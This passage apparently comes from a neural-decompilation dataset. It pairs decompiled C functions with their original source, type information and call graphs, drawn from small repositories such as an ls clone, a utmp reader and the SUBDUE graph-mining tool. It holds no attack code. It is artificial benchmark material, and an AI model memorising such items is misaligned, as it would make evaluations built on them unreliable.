pw_uid; unsigned int pw_gid; char *pw_gecos; char *pw_dir; char *pw_shell; } *" ], [ "numstr", "char [10]" ] ], "return_type": "char *", "user_defined_types": [ "struct passwd { char *pw_name; char *pw_passwd; unsigned int pw_uid; unsigned int pw_gid; char *pw_gecos; char *pw_dir; char *pw_shell; }" ], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" }, { "name": "gid_to_name", "canonical_name": "func12", "repo": "pxunl/myshell", "decompiled_code": "char *__fastcall gid_to_name(__gid_t a1)\n{\nstruct group *v2; // [rsp+18h] [rbp-8h]\n\nv2 = getgrgid(a1);\nif ( v2 )\nreturn v2->gr_name;\nsprintf(numstr_0, \"%d\", a1);\nreturn numstr_0;\n}\n", "canonical_decompiled_code": "char *__fastcall func12(__gid_t a1)\n{\nstruct group *v2; // [rsp+18h] [rbp-8h]\n\nv2 = getgrgid(a1);\nif ( v2 )\nreturn v2->gr_name;\nsprintf(numstr_0, \"%d\", a1);\nreturn numstr_0;\n}", "original_code": "char *gid_to_name( gid_t gid )\n{\n struct group *getgrgid();\n struct group *grp_ptr;\n static char numstr[10];\n if ( ( grp_ptr = getgrgid(gid) ) == ((void *)0) )\n {\n sprintf(numstr,\"%d\", gid);\n return numstr;\n }\n else\n {\n return grp_ptr->gr_name;\n }\n return ((void *)0);\n}", "canonical_original_code": "char *gid_to_name(unsigned int gid)\n{\n struct group *getgrgid();\n struct group *grp_ptr;\n static char numstr[10];\n if ( ( grp_ptr = getgrgid(gid) ) == ((void *)0) )\n {\n sprintf(numstr,\"%d\", gid);\n return numstr;\n }\n else\n {\n return grp_ptr->gr_name;\n }\n return ((void *)0);\n}", "variable_types": [ [ "gid", "unsigned int" ], [ "getgrgid", "struct group { char *gr_name; char *gr_passwd; unsigned int gr_gid; char **gr_mem; } *()" ], [ "grp_ptr", "struct group { char *gr_name; char *gr_passwd; unsigned int gr_gid; char **gr_mem; } *" ], [ "numstr", "char [10]" ] ], "return_type": "char *", "user_defined_types": [ "struct group { char *gr_name; char *gr_passwd; unsigned int gr_gid; char **gr_mem; }" ], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" }, { "name": "main", "canonical_name": "main", "repo": "pxunl/myshell", "decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\nint v4; // eax\nconst char **v5; // [rsp+0h] [rbp-20h]\nint v6; // [rsp+Ch] [rbp-14h]\nunsigned int v7; // [rsp+18h] [rbp-8h]\nint v8; // [rsp+1Ch] [rbp-4h]\n\nv6 = argc;\nv5 = argv;\nv8 = 0;\nv7 = 0;\nif ( argc == 1 )\n{\ndo_ls(&unk_402004, 0LL);\nresult = 0;\n}\nelse\n{\nwhile ( argv[v8] )\n{\nv4 = v8++;\nif ( !strcmp(argv[v4], \"-a\") )\n{\nv7 = 1;\nbreak;\n}\n}\nif ( argc == 2 && v7 == 1 )\n{\ndo_ls(&unk_402004, 1LL);\nresult = 0;\n}\nelse\n{\nwhile ( --v6 )\ndo_ls(*++v5, v7);\nresult = 0;\n}\n}\nreturn result;\n}\n", "canonical_decompiled_code": "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nint result; // eax\nint v4; // eax\nconst char **v5; // [rsp+0h] [rbp-20h]\nint v6; // [rsp+Ch] [rbp-14h]\nunsigned int v7; // [rsp+18h] [rbp-8h]\nint v8; // [rsp+1Ch] [rbp-4h]\n\nv6 = argc;\nv5 = argv;\nv8 = 0;\nv7 = 0;\nif ( argc == 1 )\n{\nfunc7(&unk_402004, 0LL);\nresult = 0;\n}\nelse\n{\nwhile ( argv[v8] )\n{\nv4 = v8++;\nif ( !strcmp(argv[v4], \"-a\") )\n{\nv7 = 1;\nbreak;\n}\n}\nif ( argc == 2 && v7 == 1 )\n{\nfunc7(&unk_402004, 1LL);\nresult = 0;\n}\nelse\n{\nwhile ( --v6 )\nfunc7(*++v5, v7);\nresult = 0;\n}\n}\nreturn result;\n}", "original_code": "int main(int argc, const char *argv[])\n{\n int i = 0;\n int flag = 0;\n if ( argc == 1 )\n {\n do_ls( \".\", 0);\n return 0;\n }\n while (argv[i] != ((void *)0))\n {\n if (strcmp(argv[i++], \"-a\") == 0)\n {\n flag = 1;\n break;\n }\n }\n if (argc == 2 && flag == 1)\n {\n do_ls( \".\", 1);\n return 0;\n }\n while ( --argc )\n {\n do_ls( *(++argv), flag);\n }\n return 0;\n}", "canonical_original_code": "int main(int argc, char *argv[])\n{\n int i = 0;\n int flag = 0;\n if ( argc == 1 )\n {\n do_ls( \".\", 0);\n return 0;\n }\n while (argv[i] != ((void *)0))\n {\n if (strcmp(argv[i++], \"-a\") == 0)\n {\n flag = 1;\n break;\n }\n }\n if (argc == 2 && flag == 1)\n {\n do_ls( \".\", 1);\n return 0;\n }\n while ( --argc )\n {\n do_ls( *(++argv), flag);\n }\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char *[]" ], [ "i", "int" ], [ "flag", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "ba48032cf1f0a46792ff471a7c1390473027659ea4a74d579302c767d2965a30" } ]
f50dd4a939706cc9d1a5426fff0a42d50bdcba2af372adcd4a8bf27f31dcca3c
pxunl/myshell
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "Show_Info" ], [ "Show_Info", "->", "main" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\nchar ptr[384]; // [rsp+10h] [rbp-190h] BYREF\nFILE *stream; // [rsp+190h] [rbp-10h]\nint v6; // [rsp+19Ch] [rbp-4h]\n\nv6 = 384;\nstream = fopen(\"/var/run/utmp\", \"r\");\nwhile ( fread(ptr, v6, 1uLL, stream) )\nfunc7(ptr);\nfclose(stream);\nreturn 0;\n}" ], [ "_libc_csu_init", "void __fastcall func8(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func9(void)\n{\n;\n}" ] ]
[ { "name": "Show_Info", "canonical_name": "func7", "repo": "pxunl/myshell", "decompiled_code": "int __fastcall Show_Info(__int64 a1)\n{\nprintf(\"%-8.8s\", (const char *)(a1 + 40));\nputchar(32);\nprintf(\"%-8.8s\", (const char *)(a1 + 44));\nputchar(32);\nprintf(\"%-8.8s\", (const char *)(a1 + 8));\nputchar(32);\nprintf(\"% 10ld\", *(unsigned int *)(a1 + 340));\nputchar(32);\nreturn putchar(10);\n}\n", "canonical_decompiled_code": "int __fastcall func7(__int64 a1)\n{\nprintf(\"%-8.8s\", (const char *)(a1 + 40));\nputchar(32);\nprintf(\"%-8.8s\", (const char *)(a1 + 44));\nputchar(32);\nprintf(\"%-8.8s\", (const char *)(a1 + 8));\nputchar(32);\nprintf(\"% 10ld\", *(unsigned int *)(a1 + 340));\nputchar(32);\nreturn putchar(10);\n}", "original_code": "void Show_Info(struct utmp *buf_fp)\n{\n printf(\"%-8.8s\", buf_fp->ut_id);\n printf(\" \");\n printf(\"%-8.8s\", buf_fp->ut_user);\n printf(\" \");\n printf(\"%-8.8s\", buf_fp->ut_line);\n printf(\" \");\n printf(\"% 10ld\", buf_fp->ut_tv.tv_sec);\n printf(\" \");\n printf(\"\\n\");\n}", "canonical_original_code": "void Show_Info(struct utmp *buf_fp)\n{\n printf(\"%-8.8s\", buf_fp->ut_id);\n printf(\" \");\n printf(\"%-8.8s\", buf_fp->ut_user);\n printf(\" \");\n printf(\"%-8.8s\", buf_fp->ut_line);\n printf(\" \");\n printf(\"% 10ld\", buf_fp->ut_tv.tv_sec);\n printf(\" \");\n printf(\"\\n\");\n}", "variable_types": [ [ "buf_fp", "struct utmp { short ut_type; int ut_pid; char ut_line[32]; char ut_id[4]; char ut_user[32]; char ut_host[256]; struct exit_status { short e_termination; short e_exit; } ut_exit; int ut_session; struct { int tv_sec; int tv_usec; } ut_tv; int ut_addr_v6[4]; char __glibc_reserved[20]; } *" ] ], "return_type": "void", "user_defined_types": [ "struct utmp { short ut_type; int ut_pid; char ut_line[32]; char ut_id[4]; char ut_user[32]; char ut_host[256]; struct exit_status ut_exit; int ut_session; struct { int tv_sec; int tv_usec; } ut_tv; int ut_addr_v6[4]; char __glibc_reserved[20]; }", "struct exit_status { short e_termination; short e_exit; }" ], "binary_hash": "f50dd4a939706cc9d1a5426fff0a42d50bdcba2af372adcd4a8bf27f31dcca3c" } ]
0ae781e6d7e0b95f7c53a00731ce3080be45a3b4bd2beca8928ef06fe8795b40
gromgull/subdue
[ [ "AdjustMetrics", "->" ], [ "ComputeValue", "->" ] ]
[]
[ { "name": "AdjustMetrics", "canonical_name": "func0", "repo": "gromgull/subdue", "decompiled_code": "__int64 __fastcall AdjustMetrics(__int64 a1, __int64 a2)\n{\n__int64 v2; // rax\ndouble v3; // xmm0_8\n__int64 v4; // rax\n__int64 v5; // rax\ndouble v6; // xmm0_8\n__int64 v7; // rax\ndouble v8; // xmm0_8\n__int64 result; // rax\n__int64 v10; // rax\n__int64 v11; // rax\ndouble v12; // xmm0_8\n__int64 v13; // rax\ndouble v14; // xmm0_8\ndouble v15; // [rsp+18h] [rbp-18h]\ndouble v16; // [rsp+20h] [rbp-10h]\ndouble v17; // [rsp+28h] [rbp-8h]\n\nGetCurrentIncrement(a2);\nv2 = GraphSize(*(_QWORD *)a1);\nif ( v2 < 0 )\nv3 = (double)(int)(v2 & 1 | ((unsigned __int64)v2 >> 1)) + (double)(int)(v2 & 1 | ((unsigned __int64)v2 >> 1));\nelse\nv3 = (double)(int)v2;\nv15 = v3;\nv4 = GetCurrentIncrementNum(a2);\nv5 = IncrementSize(a2, v4, 1LL);\nif ( v5 < 0 )\nv6 = (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1)) + (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1));\nelse\nv6 = (double)(int)v5;\nv17 = v6;\nv7 = SizeOfCompressedGraph(*(_QWORD *)(a2 + 1536), *(_QWORD *)(a1 + 24), a2, 1LL);\nif ( v7 < 0 )\nv8 = (double)(int)(v7 & 1 | ((unsigned __int64)v7 >> 1)) + (double)(int)(v7 & 1 | ((unsigned __int64)v7 >> 1));\nelse\nv8 = (double)(int)v7;\n*(double *)(a1 + 80) = v8;\n*(double *)(a1 + 56) = v17 / (*(double *)(a1 + 80) + v15);\nresult = *(_QWORD *)(a2 + 1544);\nif ( result )\n{\nv10 = GetCurrentIncrementNum(a2);\nv11 = IncrementSize(a2, v10, 0LL);\nif ( v11 < 0 )\nv12 = (double)(int)(v11 & 1 | ((unsigned __int64)v11 >> 1))\n+ (double)(int)(v11 & 1 | ((unsigned __int64)v11 >> 1));\nelse\nv12 = (double)(int)v11;\nv16 = v12;\nv13 = SizeOfCompressedGraph(*(_QWORD *)(a2 + 1544), *(_QWORD *)(a1 + 24), a2, 0LL);\nif ( v13 < 0 )\nv14 = (double)(int)(v13 & 1 | ((unsigned __int64)v13 >> 1))\n+ (double)(int)(v13 & 1 | ((unsigned __int64)v13 >> 1));\nelse\nv14 = (double)(int)v13;\n*(double *)(a1 + 88) = v14;\nresult = a1;\n*(double *)(a1 + 56) = (v17 + v16) / (*(double *)(a1 + 88) + v15 + v16 - *(double *)(a1 + 88));\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func0(__int64 a1, __int64 a2)\n{\n__int64 v2; // rax\ndouble v3; // xmm0_8\n__int64 v4; // rax\n__int64 v5; // rax\ndouble v6; // xmm0_8\n__int64 v7; // rax\ndouble v8; // xmm0_8\n__int64 result; // rax\n__int64 v10; // rax\n__int64 v11; // rax\ndouble v12; // xmm0_8\n__int64 v13; // rax\ndouble v14; // xmm0_8\ndouble v15; // [rsp+18h] [rbp-18h]\ndouble v16; // [rsp+20h] [rbp-10h]\ndouble v17; // [rsp+28h] [rbp-8h]\n\nGetCurrentIncrement(a2);\nv2 = GraphSize(*(_QWORD *)a1);\nif ( v2 < 0 )\nv3 = (double)(int)(v2 & 1 | ((unsigned __int64)v2 >> 1)) + (double)(int)(v2 & 1 | ((unsigned __int64)v2 >> 1));\nelse\nv3 = (double)(int)v2;\nv15 = v3;\nv4 = GetCurrentIncrementNum(a2);\nv5 = IncrementSize(a2, v4, 1LL);\nif ( v5 < 0 )\nv6 = (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1)) + (double)(int)(v5 & 1 | ((unsigned __int64)v5 >> 1));\nelse\nv6 = (double)(int)v5;\nv17 = v6;\nv7 = SizeOfCompressedGraph(*(_QWORD *)(a2 + 1536), *(_QWORD *)(a1 + 24), a2, 1LL);\nif ( v7 < 0 )\nv8 = (double)(int)(v7 & 1 | ((unsigned __int64)v7 >> 1)) + (double)(int)(v7 & 1 | ((unsigned __int64)v7 >> 1));\nelse\nv8 = (double)(int)v7;\n*(double *)(a1 + 80) = v8;\n*(double *)(a1 + 56) = v17 / (*(double *)(a1 + 80) + v15);\nresult = *(_QWORD *)(a2 + 1544);\nif ( result )\n{\nv10 = GetCurrentIncrementNum(a2);\nv11 = IncrementSize(a2, v10, 0LL);\nif ( v11 < 0 )\nv12 = (double)(int)(v11 & 1 | ((unsigned __int64)v11 >> 1))\n+ (double)(int)(v11 & 1 | ((unsigned __int64)v11 >> 1));\nelse\nv12 = (double)(int)v11;\nv16 = v12;\nv13 = SizeOfCompressedGraph(*(_QWORD *)(a2 + 1544), *(_QWORD *)(a1 + 24), a2, 0LL);\nif ( v13 < 0 )\nv14 = (double)(int)(v13 & 1 | ((unsigned __int64)v13 >> 1))\n+ (double)(int)(v13 & 1 | ((unsigned __int64)v13 >> 1));\nelse\nv14 = (double)(int)v13;\n*(double *)(a1 + 88) = v14;\nresult = a1;\n*(double *)(a1 + 56) = (v17 + v16) / (*(double *)(a1 + 88) + v15 + v16 - *(double *)(a1 + 88));\n}\nreturn result;\n}", "original_code": "void AdjustMetrics(Substructure *sub, Parameters *parameters)\n{\n double sizeOfPosIncrement = 0.0;\n double sizeOfNegIncrement = 0.0;\n double sizeOfSub = 0.0;\n Increment *increment;\n increment = GetCurrentIncrement(parameters);\n sizeOfSub = (double) GraphSize(sub->definition);\n sizeOfPosIncrement = (double) IncrementSize(parameters,\n GetCurrentIncrementNum(parameters), 1);\n sub->posIncrementValue = (double) SizeOfCompressedGraph(parameters->posGraph,\n sub->instances, parameters, 1);\n sub->value = sizeOfPosIncrement / (sizeOfSub + sub->posIncrementValue);\n if (parameters->negGraph != ((void *)0))\n {\n sizeOfNegIncrement = (double) IncrementSize(parameters,\n GetCurrentIncrementNum(parameters), 0);\n sub->negIncrementValue =\n (double) SizeOfCompressedGraph(parameters->negGraph,\n sub->instances, parameters, 0);\n sub->value = (sizeOfPosIncrement + sizeOfNegIncrement) /\n (sizeOfSub + sub->negIncrementValue +\n sizeOfNegIncrement - sub->negIncrementValue);\n }\n}", "canonical_original_code": "void AdjustMetrics(struct Substructure *sub, struct Parameters *parameters)\n{\n double sizeOfPosIncrement = 0.0;\n double sizeOfNegIncrement = 0.0;\n double sizeOfSub = 0.0;\n struct _increment *increment;\n increment = GetCurrentIncrement(parameters);\n sizeOfSub = (double) GraphSize(sub->definition);\n sizeOfPosIncrement = (double) IncrementSize(parameters,\n GetCurrentIncrementNum(parameters), 1);\n sub->posIncrementValue = (double) SizeOfCompressedGraph(parameters->posGraph,\n sub->instances, parameters, 1);\n sub->value = sizeOfPosIncrement / (sizeOfSub + sub->posIncrementValue);\n if (parameters->negGraph != ((void *)0))\n {\n sizeOfNegIncrement = (double) IncrementSize(parameters,\n GetCurrentIncrementNum(parameters), 0);\n sub->negIncrementValue =\n (double) SizeOfCompressedGraph(parameters->negGraph,\n sub->instances, parameters, 0);\n sub->value = (sizeOfPosIncrement + sizeOfNegIncrement) /\n (sizeOfSub + sub->negIncrementValue +\n sizeOfNegIncrement - sub->negIncrementValue);\n }\n}", "variable_types": [ [ "sub", "struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *" ], [ "parameters", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList { unsigned long size; unsigned long numLabels; struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; } *labels; } *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList { struct _increment_list_node { struct _increment { struct SubList { struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *increment; struct _increment_list_node *next; } *head; } *incrementList; struct InstanceVertexList { struct AvlTreeList { struct _avltablenode { struct avl_table { struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; } *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); } *avl_alloc; unsigned long avl_count; unsigned long avl_generation; } *vertexTree; struct Substructure *sub; struct _avltablenode *next; } *head; } *avlTreeList; } *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; } *" ], [ "sizeOfPosIncrement", "double" ], [ "sizeOfNegIncrement", "double" ], [ "sizeOfSub", "double" ], [ "increment", "struct _increment { struct SubList { struct _sub_list_node { struct Substructure { struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; } *vertices; struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; } *edges; unsigned long vertexListSize; unsigned long edgeListSize; } *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList { struct _instance_list_node { struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap { unsigned long v1; unsigned long v2; } *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; } *instance; struct _instance_list_node *next; } *head; } *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; } *sub; struct _sub_list_node *next; } *head; } *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; } *" ] ], "return_type": "void", "user_defined_types": [ "struct Substructure { struct Graph *definition; unsigned long numInstances; unsigned long numExamples; struct InstanceList *instances; unsigned long numNegInstances; unsigned long numNegExamples; struct InstanceList *negInstances; double value; unsigned char recursive; unsigned long recursiveEdgeLabel; double posIncrementValue; double negIncrementValue; }", "struct Parameters { char inputFileName[512]; char psInputFileName[512]; char outFileName[512]; struct Graph *posGraph; struct Graph *negGraph; double posGraphDL; double negGraphDL; unsigned long numPosEgs; unsigned long numNegEgs; unsigned long *posEgsVertexIndices; unsigned long *negEgsVertexIndices; struct LabelList *labelList; struct Graph **preSubs; unsigned long numPreSubs; unsigned char predefinedSubs; unsigned char outputToFile; unsigned char directed; unsigned long beamWidth; unsigned long limit; unsigned long maxVertices; unsigned long minVertices; unsigned long numBestSubs; unsigned char valueBased; unsigned char prune; unsigned long outputLevel; unsigned char allowInstanceOverlap; unsigned long evalMethod; double threshold; unsigned long iterations; double *log2Factorial; unsigned long log2FactorialSize; unsigned long numPartitions; unsigned char recursion; unsigned char variables; unsigned char relations; unsigned char incremental; unsigned char compress; struct IncrementList *incrementList; struct InstanceVertexList *vertexList; unsigned long posGraphSize; unsigned long negGraphSize; }", "struct _increment { struct SubList *subList; unsigned long incrementNum; unsigned long numPosVertices; unsigned long numPosEdges; unsigned long numNegVertices; unsigned long numNegEdges; unsigned long startPosVertexIndex; unsigned long startPosEdgeIndex; unsigned long startNegVertexIndex; unsigned long startNegEdgeIndex; double numPosEgs; double numNegEgs; }", "struct Graph { unsigned long numVertices; unsigned long numEdges; struct Vertex *vertices; struct Edge *edges; unsigned long vertexListSize; unsigned long edgeListSize; }", "struct InstanceList { struct _instance_list_node *head; }", "struct LabelList { unsigned long size; unsigned long numLabels; struct Label *labels; }", "struct IncrementList { struct _increment_list_node *head; }", "struct InstanceVertexList { struct AvlTreeList *avlTreeList; }", "struct SubList { struct _sub_list_node *head; }", "struct Vertex { unsigned long label; unsigned long numEdges; unsigned long *edges; unsigned long map; unsigned char used; }", "struct Edge { unsigned long vertex1; unsigned long vertex2; unsigned long label; unsigned char directed; unsigned char used; unsigned char spansIncrement; unsigned char validPath; }", "struct _instance_list_node { struct _instance *instance; struct _instance_list_node *next; }", "struct Label { unsigned char labelType; union { char *stringLabel; double numericLabel; } labelValue; unsigned char used; }", "struct _increment_list_node { struct _increment *increment; struct _increment_list_node *next; }", "struct AvlTreeList { struct _avltablenode *head; }", "struct _sub_list_node { struct Substructure *sub; struct _sub_list_node *next; }", "struct _instance { unsigned long numVertices; unsigned long numEdges; unsigned long *vertices; unsigned long *edges; double minMatchCost; unsigned long newVertex; unsigned long newEdge; unsigned long refCount; struct VertexMap *mapping; unsigned long mappingIndex1; unsigned long mappingIndex2; unsigned char used; struct _instance *parentInstance; }", "struct _avltablenode { struct avl_table *vertexTree; struct Substructure *sub; struct _avltablenode *next; }", "struct VertexMap { unsigned long v1; unsigned long v2; }", "struct avl_table { struct avl_node *avl_root; int (*avl_compare)(void *avl_a, void *avl_b, void *avl_param); void *avl_param; struct libavl_allocator *avl_alloc; unsigned long avl_count; unsigned long avl_generation; }", "struct avl_node { struct avl_node *avl_link[2]; void *avl_data; char avl_balance; }", "struct libavl_allocator { void *(*libavl_malloc)(struct libavl_allocator *, unsigned long libavl_size); void (*libavl_free)(struct libavl_allocator *, void *libavl_block); }" ], "binary_hash": "0ae781e6d7e0b95f7c53a00731ce3080be45a3b4bd2beca8928ef06fe8795b40" }, { "name": "ComputeValue", "canonical_name": "func1", "repo": "gromgull/subdue", "decompiled_code": "double __fastcall ComputeValue(__int64 *a1, _QWORD *a2, __int64 a3, _QWORD *a4, _QWORD *a5, unsigned __int64 *a6, unsigned __int64 *a7, __int64 a8)\n{\n__int64 v8; // rax\ndouble v9; // xmm0_8\n__int64 v10; // rax\ndouble v11; // xmm0_8\n__int64 v12; // rax\ndouble v13; // xmm0_8\n__int64 v14; // rax\ndouble v15; // xmm0_8\ndouble v16; // xmm0_8\nunsigned __int64 v17; // rax\ndouble v18; // xmm0_8\nunsigned __int64 v19; // rax\n__int64 v20; // rax\ndouble v21; // xmm0_8\n__int64 v22; // rax\ndouble v23; // xmm0_8\nunsigned __int64 v24; // rax\nunsigned __int64 v25; // rax\n__int64 v26; // rax\ndouble v27; // xmm0_8\n__int64 v28; // rax\ndouble v29; // xmm1_8\n__int64 v30; // rax\ndouble v31; // xmm0_8\n__int64 v32; // rax\ndouble v33; // xmm0_8\n__int64 *v39; // [rsp+38h] [rbp-88h]\ndouble *v40; // [rsp+48h] [rbp-78h]\n__int64 v41; // [rsp+50h] [rbp-70h]\nunsigned __int64 v42; // [rsp+58h] [rbp-68h]\ndouble v43; // [rsp+60h] [rbp-60h]\n__int128 v44; // [rsp+68h] [rbp-58h]\n__int128 v45; // [rsp+78h] [rbp-48h]\n__int64 v46; // [rsp+88h] [rbp-38h]\n__int64 v47; // [rsp+90h] [rbp-30h]\n__int64 v48; // [rsp+98h] [rbp-28h]\n__int64 v49; // [rsp+A0h] [rbp-20h]\nchar v50; // [rsp+AFh] [rbp-11h]\ndouble **v51; // [rsp+B0h] [rbp-10h]\n_QWORD *i; // [rsp+B8h] [rbp-8h]\n\nv39 = a1;\nv49 = 0LL;\nv48 = 0LL;\nv47 = 0LL;\nv46 = 0LL;\nv45 = 0uLL;\nv44 = 0uLL;\nif ( !a1 )\nputs(\"ComputeValue Error: incNodePtr is null\");\nif ( *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv42 = *(_QWORD *)(*a1 + 8);\nif ( v42 != *(_QWORD *)(***(_QWORD ***)(a8 + 1752) + 8LL) )\n{\nfor ( i = **(_QWORD ***)(a8 + 1752); v42 > *(_QWORD *)(*i + 8LL); i = (_QWORD *)i[1] )\n{\nv8 = *(_QWORD *)(*i + 16LL) + *(_QWORD *)(*i + 24LL);\nif ( v8 < 0 )\nv9 = (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1)) + (double)(int)(v8 & 1 | ((unsigned __int64)v8 >> 1));\nelse\nv9 = (double)(int)v8;\n*((double *)&v45 + 1) = v9 + *((double *)&v45 + 1);\nv10 = *(_QWORD *)(*i + 32LL) + *(_QWORD *)(*i + 40LL);\nif ( v10 < 0 )\nv11 = (double)(int)(v10 & 1 | ((unsigned __int64)v10 >> 1))\n+ (double)(int)(v10 & 1 | ((unsigned __int64)v10 >> 1));\nelse\nv11 = (double)(int)v10;\n*(double *)&v45 = v11 + *(double *)&v45;\n}\nv44 = v45;\n}\n}\nwhile ( v39 )\n{\nv41 = *v39;\nif ( *(_QWORD *)(a8 + 1696) != 3LL )\n{\nv12 = *(_QWORD *)(v41 + 16) + *(_QWORD *)(v41 + 24);\nif ( v12 < 0 )\nv13 = (double)(int)(v12 & 1 | ((unsigned __int64)v12 >> 1))\n+ (double)(int)(v12 & 1 | ((unsigned __int64)v12 >> 1));\nelse\nv13 = (double)(int)v12;\n*((double *)&v45 + 1) = v13 + *((double *)&v45 + 1);\nv14 = *(_QWORD *)(v41 + 32) + *(_QWORD *)(v41 + 40);\nif ( v14 < 0 )\nv15 = (double)(int)(v14 & 1 | ((unsigned __int64)v14 >> 1))\n+ (double)(int)(v14 & 1 | ((unsigned __int64)v14 >> 1));\nelse\nv15 = (double)(int)v14;\n*(double *)&v45 = v15 + *(double *)&v45;\n}\nv51 = **(double ****)v41;\nv50 = 0;\nwhile ( v51 )\n{\nv40 = *v51;\nif ( (unsigned __int8)GraphMatch(*(_QWORD *)*v51, *a2, a3, 0LL, 0LL, 0.0) )\n{\nif ( *(_QWORD *)(a8 + 1696) == 3LL )\n{\nv16 = v40[10];\nif ( v16 >= 9.223372036854776e18 )\nv17 = (unsigned int)(int)(v16 - 